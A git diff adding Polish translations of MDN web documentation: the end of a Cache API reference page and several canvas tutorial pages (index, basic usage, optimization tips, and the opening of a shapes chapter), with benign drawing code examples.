+ <dd>Znajduje wpis {{domxref("Cache", "Cache'u")}}, którego klucz jest żądaniem, jeśli znaleziony, usuwa ten wpis, zwracając następnie {{jsxref("Promise")}}, rozwiązywany do <code>true</code>. Jeśli dany wpis {{domxref("Cache", "Cache'u")}} nie został znaleziony, zwraca <code>false</code>.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(żądanie, opcje)")}}</dt>
+ <dd>Zwraca {{jsxref("Promise")}}, który rozwiązuje się do szerego złożonego z kluczów {{domxref("Cache", "Cache'u")}}.</dd>
+</dl>
+
+<p>
+ </p><h2 id="Specyfikacje">Specyfikacje</h2>
+<p></p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(40.0)}}</td>
+ <td>{{CompatGeckoDesktop("33.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>24</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Warte_uwagi">Warte uwagi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html b/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..ca8bc15570
--- /dev/null
+++ b/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html
@@ -0,0 +1,169 @@
+---
+title: Podstawowe użycie elementu canvas
+slug: Web/API/Canvas_API/Tutorial/Basic_usage
+tags:
+ - Canvas
+ - Grafika
+ - HTML
+ - Płótno
+ - Sredniozaawansowany
+ - Tutorial
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<div class="summary">
+<p>Zacznijmy od przyjrzenia się znacznikowi {{HTMLElement("canvas")}} należącego do zbioru elementów {{Glossary("HTML")}}. W tym rozdziale nauczysz się jak ustanowić dwuwymiarowy kontekst płótna, oraz narysujesz swój pierwszy rysunek.</p>
+</div>
+
+<h2 id="Element_&lt;canvas>">Element <code>&lt;canvas&gt;</code></h2>
+
+<pre class="brush: html">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> W tym tutorialu będziemy używać słowa <u>canvas</u> zamiennie ze słowem <u>płótno</u>.</p>
+</div>
+
+<p>Na pierwszy rzut oka {{HTMLElement("canvas")}} wygląda jak element {{HTMLElement("img")}}, z tą różnicą, że nie posiada on atrybutów <code>src</code> oraz <code>alt</code>. W swojej specyfice element <code>&lt;canvas&gt;</code> posiada jedynie dwa atrybuty, {{htmlattrxref("width", "canvas")}} oraz {{htmlattrxref("height", "canvas")}}. Nie są one wymagane oraz mogą być ustanowione za pomocą <a href="/en-US/docs/Web/API/HTMLCanvasElement">właściwości</a> {{Glossary("DOM")}}. Jeśli wartości atrybutów <code>width</code> oraz <code>height</code> nie zostaną określone, zostaną użyte domyślne: szerokość - <strong>300 pikseli</strong>, wysokość - <strong>150 pikseli</strong>. Za pomocą {{Glossary("CSS")}} możemy narzucić rozmiar płótna, ale podczas renderowania dokumentu, rysunek zostanie dopasowany do domyślnej wielkości: jeśli wartości określone za pomocą CSS nie będą proporcjonalne z wartościami domyślnymi, rysunek zostanie zniekształcony.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Jeśli rysunek wydaje się zniekształcony, spróbuj określić atrybuty <code>width</code> oraz <code>height</code> bezpośrednio wewnątrz znacznika <code>&lt;canvas&gt;</code>, a nie za pomocą CSS.</p>
+</div>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code></a> jest <a href="/en-US/docs/Web/HTML/Global_attributes">globalnym atrybutem HTML</a> i można go stosować z każdym elementem HTML (tak samo jak np. <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code>). Warto go używać, aby w ten sposób mieć dostęp do elementu z poziomy skryptu.</p>
+
+<p>Element <code>&lt;canvas&gt;</code> można stylizować za pomocą CSS tak, jak każdy obraz ({{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("background")}}…). Z tym, że żadna z reguł CSS nie wpłynie na zawartość płótna. Zobaczymy to w <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">późniejszym rozdziale</a> tego tutorialu. Jeśli nie określimy inaczej, tło płótna będzie w pełni przezroczyste.</p>
+
+<div id="section_2">
+<h3 id="Treść_zastępcza">Treść zastępcza</h3>
+
+<p>Inaczej niż w przypadku {{HTMLElement("img")}}, w elemencie <code>&lt;canvas&gt;</code> tak samo jak w {{HTMLElement("video")}}, {{HTMLElement("audio")}}, czy {{HTMLElement("picture")}} łatwo jest określić to, co będzie wyświetlane w starszych przeglądarkach albo tych, które jeszcze nie obsługują tego elementu, jak np. Internet Explorer poprzedzający wersję 9 oraz przeglądarki tekstowe.</p>
+
+<p>Aby zapewnić treść zastępczą wystarczy zagnieździć ją wewnątrz elementu <code>&lt;canvas&gt; ... &lt;/canvas&gt;</code>. Przeglądarki nieobsługujące tego elementu, zignorują rysunek i zamiast tego wyświetlą to, co zagnieździliśmy wewnątrz tegoż elementu. Natomiast przeglądarki obsługujące element <code>&lt;canvas&gt;</code> wygenerują jego zawartość ignorując przy tym wszystko, co znajduje się wewnątrz tego elementu.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Gdy mówimy o tym, co znajduje się <strong>w znaczniku</strong> <code>&lt;canvas&gt;</code>, mamy na myśli jego atrybuty czyli to, co znajduje się pomiędzy znakami <code>&lt;</code> oraz <code>&gt;</code> (np. <code>&lt;canvas class="nazwa-klasy"&gt;</code>. Natomiast gdy mówimy o tym, co znajduje się <strong>wewnątrz elementu</strong> <code>&lt;canvas&gt;</code>, mamy na myśli wszystko, co znajduje się pomiędzy znacznikiem otwierającym <code>&lt;canvas&gt;</code>, a znacznikiem zamykającym <code>&lt;/canvas&gt;</code> (np. <code>&lt;canvas&gt;&lt;img src="/canvas.jpg"&gt;&lt;/canvas&gt;</code>). W tym drugim przypadku mówimy o <em>zagnieżdżaniu   </em>jednego elementu w drugim.</p>
+</div>
+
+<p>Treść zastępczą może stanowić opis, tego co znajduje się na płótnie lub statyczny obraz wygenerowanej zawartości. Oto przykład:</p>
+
+<pre class="brush: html">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+ current stock price: $3.15 + 0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+ &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<p>Umieszczanie tekstu w stylu: <em>Twoja przeglądarka nie obsługuje elementu canvas</em>, nie pomoże czytelnikowi w zrozumieniu treści. Zapewnienie treści zastępczej uczyni <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">element canvas bardziej dostępnym</a>.</p>
+
+<h3 id="Wymagany_znacznik_końca_&lt;canvas>">Wymagany znacznik końca <code>&lt;/canvas&gt;</code></h3>
+
+<p>Z uwagi na sposób w jaki tworzymy treść zastępczą, znacznikowi <code>&lt;canvas&gt;</code> <strong>musi towarzyszyć</strong> znacznik zamykający <code>&lt;/canvas&gt;</code>.  Gdybyśmy go nie wprowadzili, przeglądarka zinterpretowałaby wszystko, co znajduje się po znaczniku otwierającym <code>&lt;canvas&gt;</code> jako treść zastępczą.</p>
+
+<p>Jeśli nie decydujemy się, aby zapewnić treść zastępczą, w dalszym ciągu <strong>musimy</strong> użyć znaczników początkowego i końcowego <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code>, z tą różnicą, że nie będziemy umieszczać niczego wewnątrz tego elementu. Jest to prawidłowy zapis dla przeglądarki, która obsługuje element <code>canvas</code>. Przeglądarki, które go nie obsługują, niczego w tym miejscu nie wyświetlą.</p>
+
+<h2 id="Kontekst_renderingu">Kontekst renderingu</h2>
+
+<p>Element {{HTMLElement("canvas")}} tworzy powierzchnię rysunkową o stałym rozmiarze zapewniając jeden lub więcej kontekstów renderingu, które są używane do tworzenia i manipulowania wyświetlaną zawartością. W tym tutorialu skupimy się na kontekście dwuwymiarowym (2D). Inne konteksty mogą wykorzystywać odmienne sposoby renderowania, np <a href="/pl/docs/Web/WebGL">WebGL</a> wykorzystuje kontekst trójwymiarowy (3D) bazujący na <a href="https://pl.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a>.</p>
+
+<p>Początkowo płótno jest puste, pozbawione tła. Aby coś na nim wyświetlić, skrypt musi posiadać dostęp do kontekstu renderowania a następnie musi coś w nim narysować. Element {{HTMLElement("canvas")}} posiada metodę {{domxref("HTMLCanvasElement.getContext", "getContext()")}} niezbędną, aby uzyskać dostęp do nowego kontekstu renderowania oraz jego funcji rysujących. Metoda <code>getContext()</code> wymaga podania jednego argumentu, który określa typ kontekstu. Dla rysunków dwuwymiarowych, o których mowa w tym tutorialu, argument metody {{domxref("CanvasRenderingContext2D")}} wymaga podania wartości tekstowej "2d".</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>W pierwszej lini program uzyskuje dostęp do węzła DOM reprezentującego element {{HTMLElement("canvas")}} za pomocą metody {{domxref("document.getElementById()")}}. Posiadając dostęp do węzła DOM, możemy następnie uzyskać dostęp do kontekstu renderowania rysunku za pomocą metody <code>getContext()</code>.</p>
+
+<div id="section_5">
+<h2 id="Test_zgodności">Test zgodności</h2>
+
+<p>Treść zastępcza jest wyświetlana w przeglądarce, która nie obsługuje elementu {{HTMLElement("canvas")}}. Również z poziomu skryptu możemy sprawdzić czy przeglądarka wspiera znacznik <code>canvas</code>. W tym celu posługujemy się metodą <code>getContext()</code>. Oto przykład:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+ // drawing code here
+} else {
+ // canvas-unsupported code here
+}
+</pre>
+
+<p>Przeglądarka, która nie wspiera znacznika <code>canvas</code>, nie rozpoznaje również metody <code>getContext()</code>. W takim wypadku wyrażenie <code>canvas.getContext</code> zwróci logiczną wartość <code>false</code>.</p>
+</div>
+</div>
+
+<h2 id="Szkielet_szablonu"> Szkielet szablonu</h2>
+
+<p>Poniżej znajduje się szablon dokumentu HTML, którego będziemy używać jako podstawy w kolejnych przykładach ilustrujących <code>canvas</code>.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> podczas produkcji stron internetowych warto umieszczać skrypty oraz arkusze stylów w osobnych plikach dla lepszej organizacji kodu. W tym tutorialu przykładowe skrypty będziemy jednak osadzać wewnątrz kodu HTML, tak aby cały przykład był zwięzły oraz w pełni funcjonalny.</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"/&gt;
+ &lt;title&gt;Canvas tutorial&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ function draw() {
+ var canvas = document.getElementById('tutorial');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+ }
+ }
+ &lt;/script&gt;
+ &lt;style type="text/css"&gt;
+ canvas { border: 1px solid black; }
+ &lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Skrypt zawiera funckcję <code>draw()</code>, która jest wykonywana po załadowaniu strony; uczyniliśmy to za pomocą obserwatora zdarzenia {{event("load")}} dokumentu HTML. Funkcja taka może być również wywołana za pomocą metody {{domxref("WindowTimers.setTimeout", "window.setTimeout()")}}, {{domxref("WindowTimers.setInterval", "window.setInterval()")}} lub jeszcze innej, która obsługuje zdarzenia, po tym jak strona zostanie załadowana.</p>
+
+<p>Oto jak szablon wygląda w akcji. Jak widać, początkowo jest on pusty.</p>
+
+<p>{{EmbedLiveSample("A_skeleton_template", 160, 160)}}</p>
+
+<h2 id="Prosty_przykład">Prosty przykład</h2>
+
+<p>Na razie spójrzmy na poniższy przykład, zawierający rysunek dwóch przecinających się kwadratów, z których jeden jest przezroczysty. Szczegóły działania poszczególnych elementów kodu poznamy w dalszej części tego tutorialu.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"/&gt;
+ &lt;script type="application/javascript"&gt;
+ function draw() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ ctx.fillStyle = 'rgb(200, 0, 0)';
+ ctx.fillRect(10, 10, 50, 50);
+
+ ctx.fillStyle = 'rgba(0, 0, 200, 0.5)';
+ ctx.fillRect(30, 30, 50, 50);
+ }
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+ &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Przykład wygląda następująco:</p>
+
+<p>{{EmbedLiveSample("A_simple_example", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p>
diff --git a/files/pl/web/api/canvas_api/tutorial/index.html b/files/pl/web/api/canvas_api/tutorial/index.html
new file mode 100644
index 0000000000..a8b41b4ca9
--- /dev/null
+++ b/files/pl/web/api/canvas_api/tutorial/index.html
@@ -0,0 +1,60 @@
+---
+title: Rysowanie grafiki z elementem canvas
+slug: Web/API/Canvas_API/Tutorial
+tags:
+ - Grafika
+ - HTML
+ - HTML5
+ - Internet
+ - Kanwa
+ - Poradnik
+ - instrukcja
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div>{{CanvasSidebar}}</div>
+
+<div><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></div>
+
+<div class="summary">
+<p><a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> jest elementem <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a>, który może być użyty do rysowania grafik używając skryptów (często <a href="https://developer.mozilla.org/pl/docs/Glossary/JavaScript" title="JavaScript">JavaScript</a>'u). To może zostać użyte do  na przykład rysowania wykresów, tworzenia kompozycji zdjęcia lub prostych (i <a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">i nie prostych</a>) animacji. Obrazy na tej strone pokazują przykłady implementacji <strong><code><a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas">&lt;canvas&gt;</a></code></strong>, które będą stworzone w tym poradniku.</p>
+</div>
+
+<p><span class="seoSummary">Ten poradnik opisuje jak używać elementu <code>&lt;canvas&gt;</code> do rysowania grafik 2D, rozpoczynając od podstaw. Zawarte przykłady powinny dać Ci kilka czystych pomysłów co możesz zrobić z kanwą i zapewnią przykłady kodu, które mogą ci pomóc w budowaniu własnej zawartości.</span></p>
+
+<p>Wprowadzono ją jako pierwszą w WebKit przez Apple dla OS X Dashboard, <code>&lt;canvas&gt;</code> od tego momentu została wprowadzona do przeglądarek. Dziś wszystkie poważne przeglądarki wspierają kanwę.</p>
+
+<h2 id="Before_you_start" name="Before_you_start">Zanim zaczniesz</h2>
+
+<p>Używanie elementu <code>&lt;canvas&gt;</code> nie jest trudne, ale potrzebujesz podstawowego zrozumienia <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> i <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. Element <code>&lt;canvas&gt;</code> nie jest wspierany w kilku starszych przeglądarkach, ale ma wsparcie ze strony nowych wersji poważnych przeglądarek. Domyślnym rozmiarem kanwy jest 300 px × 150 px (szerokość × wysokość). Ale własne rozmiary mogą zostać zdefiniowane za pomocą własności HTML <code>height</code> i <code>width</code>. W celu narysowania grafik na kanwie używamy obiektu kontekstu w JavaScript, który tworzy grafiki w locie.</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">W tym poradniku</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/Basic_usage">Podstawowe użycie</a></li>
+ <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow" title="Canvas_tutorial/Drawing_shapes">Rysowanie figur</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Dodawanie styli i kolorów</a></li>
+ <li><a href="/pl/docs/Rysowanie_tekstu_przy_użyciu_canvas">Rysowanie tekstu</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images" title="Canvas_tutorial/Using_images">Używanie obrazków</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations" title="Canvas_tutorial/Transformations">Przekształcenia</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Canvas_tutorial/Compositing">Compositing and clipping</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">Podstwowe animacje</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Zaawansowane animacje</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Manipulacja pikselami</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hitowe regiony i dostępność</a></li>
+ <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/Optymalizacja_canvas">Optymizacja kanwy</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Finale">Koniec</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/HTML/Canvas" title="HTML/Canvas">Strona tematów kanwy</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Wtyczka Canvas do Adobe Illustrator'a</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+</ul>
+
+<h2 id="Notka_dla_współtwórców">Notka dla współtwórców</h2>
+
+<p>Z powodu niefortunnego błędu technicznego, który miał miejsce 17 Czerwca 2013, straciliśmy historię tego poradnika, wliczając w to także atrybucje do wszystkich współtwórców do zawartości tego. Przepraszamy za to i mamy nadzieję, że wybaczycie nam tą niefortunną wpadkę.</p>
+
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
diff --git a/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html b/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html
new file mode 100644
index 0000000000..68efe0225f
--- /dev/null
+++ b/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html
@@ -0,0 +1,119 @@
+---
+title: Optymalizacja elementu canvas
+slug: Web/API/Canvas_API/Tutorial/Optymalizacja_canvas
+tags:
+ - Canvas
+ - Grafika
+ - HTML
+ - HTML5
+ - Poradnik
+ - Tutorial
+ - zaawansowany
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>{{HTMLElement("canvas")}}  to jeden z najczęściej używanych standardów do renderowania grafiki 2D w przeglądarce. Zazwyczaj stosuje się go do tworzenia gier i skomplikowanych wizualizacji, które nierzadko starają się wycinąć z <span class="st">„</span>płótna" maksimum jego możliwości. Niestety, równie często prowadzi to do spadków wydajności. <span class="seoSummary">W tym artykule przygotowaliśmy dla was kilka wskazówek jak zoptymalizować element canvas, aby poprawić działanie waszych stron i aplikacji.</span></p>
+</div>
+
+<h2 id="Wskazówki_dot._wydajności">Wskazówki dot. wydajności</h2>
+
+<p>Poniżej znajdziecie kilka rozwiązań, które poprawią wydajność elementu canvas:</p>
+
+<h3 id="Pre-renderuj_proste_lub_powtażające_się_obiekty_na_dodatkowym_canvasie_poza_ekranem">Pre-renderuj proste lub powtażające się obiekty na dodatkowym canvasie poza ekranem</h3>
+
+<p>Jeśli w każdej klatce rysujesz wiele podobnych obiektów, stwórz niewyświetlany, roboczy canvas, narysuj na nim swój element raz (lub za każdym razem gdy ulega zmianom), a następnie wykorzystaj render w głównym canvasie.</p>
+
+<pre class="brush: js">obiekt.canvasRoboczy = document.createElement('canvas');
+obiekt.canvasRoboczy.width = obiekt.width;
+obiekt.canvasRoboczy.height = obiekt.height;
+obiekt.canvasRoboczy = obiekt.canvasRoboczy.getContext('2d');
+
+obiekt.render(obiekt.offscreenContext);
+</pre>
+
+<h3 id="Staraj_się_używać_liczb_całkowitch_do_koordynatów">Staraj się używać liczb całkowitch do koordynatów</h3>
+
+<p>Renderowanie między pikselami zachodzi, gdy rysujesz obiekt używając niepełnych wartości.</p>
+
+<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>Ta praktyka zmusza przeglądarkę do wykonania dodatkowych obliczeń, by wytworzyć efekt anty-aliasingu. Żeby temu zapobiec, zaokrąglij koordynaty, na przykład przy użyciu {{jsxref("Math.floor()")}}.</p>
+
+<h3 id="Nie_skaluj_obrazów_za_pomocą_drawImage">Nie skaluj obrazów za pomocą <code>drawImage</code></h3>
+
+<p>Posłuż się canvasem poza ekranem, renderując swój obrazek w kilku różnych rozmiarach podczas ładowania, zamiast renderować go w każdej klatce.</p>
+
+<h3 id="Używaj_wielu_warstw_w_skomplikowanych_scenach">Używaj wielu warstw w skomplikowanych scenach</h3>
+
+<p>Tak jak niektóre elementy nieustannie są w ruchu, inne (jak np. UI) nigdy nie zmieniają położenia. Dobrym sposobem na optymalizację w tej sytuacji jest zastosowanie warstw przy użyciu kilku canvasów roboczych.</p>
+
+<p>Przykładowo, możesz stworzyć warstwę dla interfejsu rysowaną nad innymi, która aktualizuje się tylko w momentach, gdy jest używana. Oprócz tego, możesz przenaczyć jedną warstwę na pierwszy plan, gdzie umieścisz wszystkie elementy, które odnawiane są często oraz jedną warstwę na tło, na której obiekty aktualizowane są bardzo rzadko.</p>
+
+<pre class="brush: html">&lt;div id="scena"&gt;
+ &lt;canvas id="warstwaUi" width="480" height="320"&gt;&lt;/canvas&gt;
+ &lt;canvas id="warstwaGry" width="480" height="320"&gt;&lt;/canvas&gt;
+ &lt;canvas id="warstwaTla" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+ #scena {
+ width: 480px;
+ height: 320px;
+ position: relative;
+ border: 2px solid black
+ }
+ canvas { position: absolute; }
+ #warstwaUI { z-index: 3 }
+ #warstwaGry { z-index: 2 }
+ #warstwaTla { z-index: 1 }
+&lt;/style&gt;
+</pre>
+
+<h3 id="Użyj_CSS_dla_dużych_obrazów_w_tle">Użyj CSS dla dużych obrazów w tle</h3>
+
+<p>Jeśli twoja gra, jak większość, posiada statyczne tło, stwórz element {{HTMLElement("div")}} z własnością CSS {{cssxref("background")}} , który umieścisz pod canvasem. Dzięki temu unikniesz rysowania dużego obrazu w każdej klatce z osobna.</p>
+
+<h3 id="Skaluj_canvas_za_pomocą_CSS">Skaluj canvas za pomocą CSS</h3>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">Transformacje CSS</a> są szybsze dzięki wykorzystaniu karty graficznej. Powiększanie canvasu działa szybciej niż jego pomniejszanie. Dla Firefox OS ustaw 480 x 320 px.</p>
+
+<pre class="brush: js">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+</pre>
+
+<h3 id="Wyłącz_przezroczystość">Wyłącz przezroczystość</h3>
+
+<p>Jeśli twoja gra korzysta z canvasu i nie ma potrzeby, by był on przezroczysty, ustaw wartość <code>alpha</code> na <code>false</code> podczas tworzenia kontekstu: <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext" title="The HTMLCanvasElement.getContext() method returns a drawing context on the canvas, or null if the context identifier is not supported."><code>HTMLCanvasElement.getContext()</code></a>. To powinno poprawić wydajność.</p>
+
+<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre>
+
+<h3 id="Pozostałe_wskazówki">Pozostałe wskazówki</h3>
+
+<ul>
+ <li>Ujednolić wywołania canvasu (przykładowo, narysuj linię łamaną zamiast kilku osobnych linii).</li>
+ <li>Unikaj niepotrzebnych zmian stanu canvasu.</li>
+ <li>Renderuj tylko fragmenty, które uległy zmianie, zamiast całej, nowej klatki.</li>
+ <li>Unikaj {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} kiedy to możliwe.</li>
+ <li>Unikaj wyświetlania tekstu, kiedy to możliwe.</li>
+ <li>Wykorzystuj różne sposoby na wyczyszczenie canvasu: ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}, {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} lub zmiana rozmiaru canvasu).</li>
+ <li>Do tworzenie animacji skorzystaj z  {{domxref("window.requestAnimationFrame()")}} zamiast {{domxref("window.setInterval()")}} .</li>
+ <li>Ostrożnie używaj dużych bibliotek do obliczania fizyki.</li>
+</ul>
+
+<h2 id="Zobacz_również">Zobacz również:</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Poprawa wydajności Canvas HTML5 – HTML5 </a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optymalizacja skryptów JavaScript na Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html b/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html
new file mode 100644
index 0000000000..08c589844b
--- /dev/null
+++ b/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html
@@ -0,0 +1,571 @@
+---
+title: Rysowanie kształtów w canvas
+slug: Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>Ok, <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Basic_usage">stworzyliśmy nasze środowisko canvas</a> i teraz możemy poznać tajniki tworzenia grafiki za pomocą canvas. W tym rozdziale nauczysz się rysować prostokąty, trójkąty, linie, łuki oraz krzywe - czyli podstawowe kształty.</p>
+</div>
+
+<h2 id="Siatka">Siatka</h2>
+
